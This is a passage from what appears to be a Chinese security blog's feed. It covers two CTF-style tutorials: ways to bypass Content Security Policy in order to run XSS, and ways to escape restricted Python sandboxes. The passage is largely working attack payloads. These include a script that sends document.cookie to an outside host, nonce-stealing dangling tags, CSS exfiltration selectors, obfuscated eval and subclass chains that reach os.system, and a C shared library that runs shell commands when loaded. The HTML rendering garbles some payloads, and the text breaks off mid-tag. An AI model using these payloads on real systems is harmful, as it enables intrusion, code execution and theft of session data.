class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><embed width="100%" height="100%" src="//ip/evil.pdf"></embed></span><br></pre></td></tr></table></figure><p>生成恶意的pdf文件<a href="https://blog.csdn.net/microzone/article/details/52850623">https://blog.csdn.net/microzone/article/details/52850623</a></p><h3 id="绕过csp设置"><a href="#绕过csp设置" class="headerlink" title="绕过csp设置"></a>绕过csp设置</h3><p>csp策略是基于单个html页面的,策略来自http头或者meta标签,而同源页面之间是可以相互操控dom的,这个不受csp的限制</p><h4 id="利用同源页面"><a href="#利用同源页面" class="headerlink" title="利用同源页面"></a>利用同源页面</h4><p>如果有A,B两个同源页面,A配置了csp,B没有配置,则可以利用没有配置的B,xss漏洞操控A的dom进行攻击</p><p>如果Web构建为nginx+Django,csp策略的配置来自Django的中间件,则nginx直接返回的静态文件,就没有csp配置的</p><p>实际情况可能更加复杂,比如有一个受限的xss点,没有(),并且有csp限制,则可以写入a标签,然后利用`执行打开新的没有csp的同源窗口,在向dom写入script ,绕过xss执行的受限</p><h4 id="利用其他漏洞改掉配置信息"><a href="#利用其他漏洞改掉配置信息" class="headerlink" title="利用其他漏洞改掉配置信息"></a>利用其他漏洞改掉配置信息</h4><p>csp的配置来自http请求头,如果网站有CRLF注入,则可以把csp挤入请求体,让csp直接无效</p><p>参考</p><p><a href="https://github.com/Lou00/HCTF2018_Bottle">https://github.com/Lou00/HCTF2018_Bottle</a></p><h3 id="script-src的几个绕过姿势"><a href="#script-src的几个绕过姿势" class="headerlink" title="script-src的几个绕过姿势"></a>script-src的几个绕过姿势</h3><h4 id="script-src-nonce"><a href="#script-src-nonce" class="headerlink" title="script-src nonce"></a>script-src nonce</h4><p>如果script-src 配置了nonce</p><h5 id="利用base-url"><a href="#利用base-url" class="headerlink" title="利用base-url"></a>利用base-url</h5><p>如果csp策略为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">default-src 'self'; script-src 'nonce-test</span><br></pre></td></tr></table></figure><p>没有特意配置base-uri为none,并且可控输入点之下有,script标签,例如场景如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <title>CSP Test</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><?php</span><br><span class="line"> if (isset($_GET['w'])) {</span><br><span class="line"> echo "Your GET content:".@$_GET['w'];</span><br><span class="line"> }//</span><br><span class="line">?></span><br><span class="line"><xxx></xxx></span><br><span class="line"><script src='a.js' nonce='secret'></span><br><span class="line"> //do some thing</span><br><span class="line"></script></span><br><span class="line"></body></span><br></pre></td></tr></table></figure><p>则可以通过指定base为自己的服务器,并且 在根目录a.js写入恶意payload,进行攻击</p><h5 id="不完整的script"><a href="#不完整的script" class="headerlink" title="不完整的script"></a>不完整的script</h5><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"> <title>CSP Test</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><?php</span><br><span class="line"> if (isset($_GET['w'])) {</span><br><span class="line"> echo "Your GET content:".@$_GET['w'];</span><br><span class="line"> }//</span><br><span class="line">?></span><br><span class="line"><script src='a.js' nonce='secret'></span><br><span class="line"> //do some thing</span><br><span class="line"></script></span><br><span class="line"></body></span><br></pre></td></tr></table></figure><p>如果一个输出点,恰好在用于nonce的前方,</p><p>则可以输入进入绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><script src=//ip/a.js a=</span><br></pre></td></tr></table></figure><p>因为输入缺失>,所以浏览器会向后,找到第一个>并且把中间的字符作为a的属性值,这样攻击者插入的script就拥有了一个nonce,从而被加载执行.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><script src=//ip/a.js a=</span><br><span class="line"><script src='a.js' nonce='secret'></span><br></pre></td></tr></table></figure><h5 id="静态的dom-xss"><a href="#静态的dom-xss" class="headerlink" title="静态的dom xss"></a>静态的dom xss</h5><p>如果被攻击的站点存在一个纯静态的dom xss,也可以被攻击</p><p>参考</p><p><a href="http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html">http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html</a></p><p>中文版:<a href="https://paper.seebug.org/166/">https://paper.seebug.org/166/</a></p><p>三个静态dom的例子:</p><ol><li>持久型 DOM XSS,当攻击者可以强制将页面跳转至易受攻击的页面,并且 payload 不包括在缓存的响应中(需要提取)。</li><li>包含<strong>第三方 HTML 代码</strong>的 DOM XSS 漏洞(例如,fetch(location.pathName).then(r=>r.text()).then(t=>body.innerHTML=t);)</li><li>XSS payload 存在于 <code>location.hash</code> 中的 DOM XSS 漏洞(例如 <code>https://victim/xss#!foo?payload=</code>)</li></ol><p>如果目标站点存在纯静态的dom xss,并且目标网站开启了缓存,</p><p>因为location.hash的改变,并不会让浏览器更新缓存,可以通过dom xss,先利用css选择器窃取nonce数据,然后插入带有nonce的script标签,造成js代码执行.</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">*[attribute^="a"]{background:url("record?match=a")}</span><br><span class="line">*[attribute^="b"]{background:url("record?match=b")}</span><br><span class="line">*[attribute^="c"]{background:url("record?match=c")}</span><br><span class="line">[...]</span><br></pre></td></tr></table></figure><h4 id="script-src-self"><a href="#script-src-self" class="headerlink" title="script-src:self"></a>script-src:self</h4><h5 id="host-JSONP"><a href="#host-JSONP" class="headerlink" title="host JSONP"></a>host JSONP</h5><p>如果script允许的源存在jsonp,直接引入,导致js执行</p><h5 id="user-uploaded-files"><a href="#user-uploaded-files" class="headerlink" title="user uploaded files."></a>user uploaded files.</h5><p>上传文件,上传后恶意js后,加载同样可以绕过</p><p>也可以上传svg可以直接在里面插入script执行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><svg xmlns="http://www.w3.org/2000/svg" onload="alert(URL)"/></span><br></pre></td></tr></table></figure><p>,同样的还有HITCON 2020的一个trick ,在apache下上传var文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Content-language: en</span><br><span class="line">Content-type: text/html</span><br><span class="line">Body:----foo----</span><br><span class="line"></span><br><span class="line"><script></span><br><span class="line">fetch('hxxp://orange.tw/?' + escape(document.cookie))</span><br><span class="line"></script></span><br><span class="line"></span><br><span class="line">----foo---</span><br></pre></td></tr></table></figure><h4 id="利用script-gadgets"><a href="#利用script-gadgets" class="headerlink" title="利用script gadgets"></a>利用script gadgets</h4><p>参照谷歌2017 Blackhat的议题,利用一些框架的特殊标签,直接执行代码,</p><p>利用条件一般为页面引入了这些js框架,或者设置了一下cdn为可信源,攻击者通过cdn引入这些框架,如<a href="https://paper.seebug.org/855/%E4%B8%AD%E7%9A%84,%E9%85%8D%E7%BD%AE%E4%BA%86cdnjs.cloudflare.com%E4%B8%BA%E5%8F%AF%E4%BF%A1%E6%BA%90,%E5%88%A9%E7%94%A8cdn%E5%BC%95%E5%85%A5angular,%E7%9B%B4%E6%8E%A5%E6%89%A7%E8%A1%8C">https://paper.seebug.org/855/中的,配置了cdnjs.cloudflare.com为可信源,利用cdn引入angular,直接执行</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js></span><br><span class="line"></script></span><br><span class="line"><div ng-app></span><br><span class="line"> {{constructor.constructor('alert(document.cookie)')()}}</span><br><span class="line"></div></span><br></pre></td></tr></table></figure><p><a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf">https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf</a></p><p>这里是可利用的框架列表</p><p><a href="https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md">https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md</a></p><h2 id="数据带外的方法"><a href="#数据带外的方法" class="headerlink" title="数据带外的方法"></a>数据带外的方法</h2><ul><li><p>利用location跳转数据带外</p></li><li><p>windwo.open可以直接数据带外</p></li><li><p>利用link标签带外</p><p>这个比较老了,比较新版的浏览器已经不可以了</p></li></ul><h2 id="数据窃取的姿势"><a href="#数据窃取的姿势" class="headerlink" title="数据窃取的姿势"></a>数据窃取的姿势</h2><h4 id="利用css"><a href="#利用css" class="headerlink" title="利用css"></a>利用css</h4><p>利用css选择器匹配属性,如果匹配到了会发送请求,多次匹配然后窃取数据</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">*[attribute^="a"]{background:url("record?match=a")}</span><br><span class="line">*[attribute^="b"]{background:url("record?match=b")}</span><br><span class="line">*[attribute^="c"]{background:url("record?match=c")}</span><br><span class="line">[...]</span><br></pre></td></tr></table></figure><h4 id="利用不完全的标签"><a href="#利用不完全的标签" class="headerlink" title="利用不完全的标签"></a>利用不完全的标签</h4><p>如果csp配置了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;</span><br></pre></td></tr></table></figure><p>imgsrc为*</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"> if (isset($_GET['cl4y'])) {</span><br><span class="line"> echo "Your GET content:".@$_GET['w'];</span><br><span class="line"> }//</span><br><span class="line">?></span><br><span class="line"><h1>flag{serct}</h1></span><br><span class="line"><h2 id="id">3</h2></span><br></pre></td></tr></table></figure><p>则可以通过插入<img src=//ip/</p><p>而窃取数据</p>]]></content>
<summary type="html"><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>内容安全策略,<a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP,%E6%8F%90%E4%BE%9Bxss%E6%94%BB%E5%87%BB%E7%9A%84%E4%BF%9D%E6%8A%A4">https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP,提供xss攻击的保护</a></p>
<p>服务器返回的http中带着 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy"><code>Content-Security-Policy</code></a> HTTP头部 ,或者html页面中带着</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;meta http-equiv&#x3D;&quot;Content-Security-Policy&quot; content&#x3D;&quot;default-src &#39;self&#39;; img-src https:&#x2F;&#x2F;*; child-src &#39;none&#39;;&quot;&gt;</span><br></pre></td></tr></table></figure>
<p>csp策略主要指定跨域内嵌资源如script,img的访问策略</p>
<p>其中iframe的策略也可以由x-frame-options头指定</p></summary>
<category term="前端安全" scheme="http://blog.wendell.pro/categories/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8/"/>
<category term="前端安全" scheme="http://blog.wendell.pro/tags/%E5%89%8D%E7%AB%AF%E5%AE%89%E5%85%A8/"/>
<category term="csp绕过" scheme="http://blog.wendell.pro/tags/csp%E7%BB%95%E8%BF%87/"/>
</entry>
<entry>
<title>python_沙箱逃逸_绕过总结</title>
<link href="http://blog.wendell.pro/2021/01/18/pythonn-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/"/>
<id>http://blog.wendell.pro/2021/01/18/pythonn-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/</id>
<published>2021-01-18T06:48:05.000Z</published>
<updated>2021-02-25T07:18:30.037Z</updated>
<content type="html"><![CDATA[<blockquote><p>本文首发与先知社区:<a href="https://xz.aliyun.com/t/9178">https://xz.aliyun.com/t/9178</a></p></blockquote><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>学弟写了个Python的qq机器人,有代码执行,试着逃逸了一波,顺变想总结一下以前看到的用<code>__code__</code>逃逸的姿势,所以有了这篇文章.<br>沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤达到更高权限,或者geshell的过程</p><a id="more"></a><h2 id="字符串过滤"><a href="#字符串过滤" class="headerlink" title="字符串过滤"></a>字符串过滤</h2><p>如果题目是通过正则过滤,eval,import 等危险字符,</p><h3 id="任意字符的获取"><a href="#任意字符的获取" class="headerlink" title="任意字符的获取"></a>任意字符的获取</h3><p>首先我们要利用拼接等方式,获取任意字符,方便后续的绕过</p><h4 id="有引号的情况"><a href="#有引号的情况" class="headerlink" title="有引号的情况"></a>有引号的情况</h4><p>如果没有过滤引号,那姿势就有很多了,假设目的字符为flag</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">'galf'[::-1]</span><br><span class="line">\146\154\141\147 #8进制</span><br><span class="line">\x66\x6c\x61\x67 #16进制</span><br><span class="line">'flab'.replace('b','g')</span><br><span class="line">'f'+'lag'</span><br><span class="line">'f''lag'</span><br><span class="line">a='fl';b='ag';f'{a}{b}'</span><br><span class="line">'%clag'%(102)</span><br><span class="line">chr(102)+'lag'</span><br><span class="line">python2还可以通过hex(1718378855)[2:].decode('hex')这种方式得到任意字符,但是在python3中hex的解码被移动到了codecs.encode()中</span><br></pre></td></tr></table></figure><p>都可以得到想要的字符</p><h4 id="无引号的情况"><a href="#无引号的情况" class="headerlink" title="无引号的情况"></a>无引号的情况</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">chr(102)+chr(108)+chr(97)+chr(103)</span><br><span class="line">str().join(list(dict(fl=1,ag=2).keys()))</span><br><span class="line">也可以通过dir(dir)[1][2]等获取单个字符然后拼接</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="代码执行"><a href="#代码执行" class="headerlink" title="代码执行"></a>代码执行</h3><p>我们先看一些python的相关知识</p><ol><li><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20210201185351-c4f9379c-647b-1.png" alt="image-20210111185552877"></p></li></ol><p>每个模块都有自己的globals变量空间,在局部作用域中,有locals变量空间,这些变量空间都可以通过globals(),locals()访问修改,个个模块之前的联系通过import实现,所有模块都引用一个builtins模块,提供python内建函数的支持</p><ol start="2"><li>函数或者对象方法都存在<code>func.__globals__</code>表示当前函数可访问的变量空间</li></ol><p>code对象表示字节编译的可执行Python代码或字节码,函数的<code>func.__code__</code>执行当前函数的code对象</p><ol start="3"><li>python所有的对象的基类为object对象,</li></ol><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">关于代码执行的,我们大概有以下几个思路</span><br><span class="line"></span><br><span class="line">1. 利用冷门执行命令的库</span><br><span class="line">2. 利用getattr</span><br><span class="line">3. 利用python code对象</span><br><span class="line">4. 利用object 子类</span><br><span class="line"></span><br><span class="line">#### 利用冷门执行命令的库</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>os<br>commands:仅限2.x<br>subprocess<br>timeit:timeit.sys、timeit.timeit(“<strong>import</strong>(‘os’).system(‘whoami’)”, number=1) ##之后利用时间盲注<br>platform:platform.os、platform.sys、platform.popen(‘whoami’, mode=’r’, bufsize=-1).read()<br>pty:pty.spawn(‘ls’)、pty.os<br>bdb:bdb.os、cgi.sys<br>cgi:cgi.os、cgi.sys<br>利用f-string,执行,但是因为不能编码,无法绕过一下过滤<br>f’{<strong>import</strong>(“os”).system(“whoami”)}’</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#### globals\locals</span><br><span class="line"></span><br><span class="line">````</span><br><span class="line">globals()['__builtin__'].__dict__.get('eval')('1+1')</span><br><span class="line">````</span><br><span class="line"></span><br><span class="line">#### getattr\```__getattribute__\__dict__```</span><br><span class="line"></span><br><span class="line">通过前文的任意字符的获取,我们已经获取了字符串'eval,而getattr可以帮我们得到实际的eval函数,</span><br><span class="line"></span><br><span class="line">getattr返回对象命名属性的值,它实际上调用对象的```__getattribute__```魔术方法,并且对象的属性会存储在```__dict__```中</span><br><span class="line"></span><br><span class="line">由前文我们知道,builtins是被所有模块引用,因此,我们可以通过这种访问获取builtins在获取eval方法,进行任意代码执行.</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>getattr(base64,’\x5f\x5fb\x75iltins\x5f\x5f’).get(‘ev\x61l’)(‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27whoami\x27\x29\x2e\x72\x65\x61\x64\x28\x29’)</p><p>getattr(linecache,’os’)<br>linecache.<strong>dict</strong>[‘os’]<br><strong>builtins</strong>.<strong>dict</strong>[‘eval’]<br><strong>builtin</strong>.<strong>dict</strong>[‘eval’]</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#### 利用python code对象</span><br><span class="line"></span><br><span class="line">我们知道,代码的执行,实际上是执行code对象,因为我们可以之间构造code对象,进行任意代码执行</span><br><span class="line"></span><br><span class="line">code对象的构造,可能要依赖具体的python版本,我的实验环境是python3.9</span><br><span class="line"></span><br><span class="line">##### 利用complie构建</span><br><span class="line"></span><br><span class="line">comlie可以获取一个code对象,然后利用type获取Function类执行这个code对象,这里传入一个外部模块方便我们 使用builtins</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>type(lambda*a:1)(compile(‘a.<strong>builtins</strong><a href="%22%22%22os%22%22%22">“<strong>import</strong>“</a>.popen(“whoami”).read()’,’’,’eval’),dict(a=base64))()</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">##### 手工构建</span><br><span class="line"></span><br><span class="line">随便自定义一个函数,然后修改函数```__code__```值,实现任意代码执行</span><br><span class="line"></span><br><span class="line">````</span><br><span class="line">def target():</span><br><span class="line"> print(__import__('os').popen('whoami').read())</span><br><span class="line">code="a=(lambda*a:1);a.__code__=type(target.__code__)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(</span><br><span class="line"> target.__code__.co_argcount,\</span><br><span class="line"> target.__code__.co_posonlyargcount,\</span><br><span class="line"> target.__code__.co_kwonlyargcount,\</span><br><span class="line"> target.__code__.co_nlocals,\</span><br><span class="line"> target.__code__.co_stacksize,\</span><br><span class="line"> target.__code__.co_flags,\</span><br><span class="line"> target.__code__.co_code.hex(),\</span><br><span class="line"> target.__code__.co_consts,\</span><br><span class="line"> target.__code__.co_names, \</span><br><span class="line"> target.__code__.co_varnames,\</span><br><span class="line"> target.__code__.co_filename,\</span><br><span class="line"> target.__code__.co_name,\</span><br><span class="line"> target.__code__.co_firstlineno,\</span><br><span class="line"> target.__code__.co_lnotab.hex(),\</span><br><span class="line"> target.__code__.co_freevars,\</span><br><span class="line"> target.__code__.co_cellvars)</span><br><span class="line">print(code)</span><br><span class="line">````</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">通过这种方式,把要执行的命令转成字符串的形式,配合前文字符串的绕过,成功进行代码执行</span><br><span class="line"></span><br><span class="line">#### 利用object </span><br><span class="line"></span><br><span class="line">object的子类中有所有的类,我们可以通过类方法的`func.__globals__`获取到builtins进而之间进行代码执行</span><br><span class="line"></span><br><span class="line">需要因为需要重载过的类方法才有```__globals__```,所以59需要爆破</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>object.<strong>subclasses</strong>()[59].<strong>init</strong>.<strong>globals</strong>[‘<strong>builtins</strong>‘]<a href="'__import__(%22os%22).popen(%22ls%22).read(">‘eval’</a>‘<br>[].<strong>class</strong>.<strong>bases</strong>[0].<strong>subclasses</strong>()[59].<strong>init</strong>.<strong>globals</strong>[‘<strong>builtins</strong>‘]<a href="'__import__(%22os%22).popen(%22ls%22).read(">‘eval’</a>‘<br>‘’.<strong>class</strong>.<strong>mro</strong>[2].<strong>subclasses</strong>()[59].<strong>init</strong>.<strong>globals</strong>[‘<strong>builtins</strong>‘]<a href="'__import__(%22os%22).popen(%22ls%22).read()'">‘eval’</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">## 限制import</span><br><span class="line"></span><br><span class="line">### 利用重载绕过限制</span><br><span class="line"></span><br><span class="line">import的语法会调用```__import__```函数,而```importlib.import_module```是其背后的实现</span><br><span class="line"></span><br><span class="line">要是上述都被限制</span><br><span class="line"></span><br><span class="line">我们还可以通过````importlib.reload```重载```__builtins__```模块恢复限制,</span><br><span class="line"></span><br><span class="line">若reload也无法使用,</span><br><span class="line"></span><br><span class="line">### 直接执行绕过限制</span><br><span class="line">我们可以通过之间执行,os.py 文件导入popen函数</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>exec(open(‘/usr/local/Cellar/[email protected]/3.9.1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py’).read())<br>popen(‘ls’).read()</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">###利用一下已经导入os的模块</span><br><span class="line">或者利用一些已经导入os的模块</span><br><span class="line"></span><br><span class="line">先获取所有子类</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>可以考虑利用class ‘warnings.catch_warnings’,从.<strong>init</strong>.func_globals.values()[13]获取eval,map等等;又或者从.<strong>init</strong>.func_globals[linecache]得到os<br>pyhton2<br>class ‘warnings.catch_warnings’<br>59 是这个类,不同环境可能不一样,这个类的归属linecache模块,在这个模块中导入了os库<br>().<strong>class</strong>.<strong>bases</strong>[0].<strong>subclasses</strong>()[59].<strong>init</strong>.func_globals[‘linecache’].<strong>dict</strong>[‘o’+’s’].<strong>dict</strong><a href="'ls'">‘sy’+’stem’</a><br>().<strong>class</strong>.<strong>bases</strong>[0].<strong>subclasses</strong>()[59].<strong>init</strong>.func_globals.values()[13]<a href="'__import__(%22os%22).system(%22ls%22)'">‘eval’</a><br>Python3<br>().<strong>class</strong>.<strong>bases</strong>[0].<strong>subclasses</strong>()[93].<strong>init</strong>.<strong>globals</strong>[“sys”].modules[“os”].system(“ls”)<br>[].<strong>class</strong>.<strong>base</strong>.<strong>subclasses</strong>()[127].<strong>init</strong>.<strong>globals</strong><a href="'ls'">‘system’</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">这个思路大体为,因为可以通过object对象获取所有类,还可以通过函数```__globals__```,获取当前函数的作用域,如果一些内置模块导入了os等危险库,而恰巧对object对象获取所有类的方法的命名空间又可见,则可以通过globals获取已导入的os并利用.</span><br><span class="line"></span><br><span class="line">具体可以参考</span><br><span class="line"></span><br><span class="line">https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">### 加载c扩展绕过限制</span><br><span class="line">如果os.py被删,</span><br><span class="line"></span><br><span class="line">import还在的话,我们可以通过自定义加载器或者上传文件之间执行,加载自己实现的python模块,进行命令执行</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>#include <stdio.h><br>void my_init(void) <strong>attribute</strong>((constructor));<br>void my_init(void)<br>{<br> system(“ls -la /home/ctf/ > /tmp/ls_home_ctf”);<br>} </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">编译好so文件后写入/tmp/bk.so</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>先写入so文件,然后使用ctypes加载so<br><class ‘ctypes.CDLL’>,<class ‘ctypes.LibraryLoader’><br>().<strong>class</strong>.<strong>bases</strong>[0].<strong>subclasses</strong>()<a href="().__class__.__bases__%5B0%5D.__subclasses__()%5B85%5D">86</a>.LoadLibrary(‘/tmp/bk.so’)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line">### 利用pwn</span><br><span class="line"></span><br><span class="line">参考```PlaidCTF 2014 '__nightmares__'```</span><br><span class="line"></span><br><span class="line">https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/</span><br><span class="line"></span><br><span 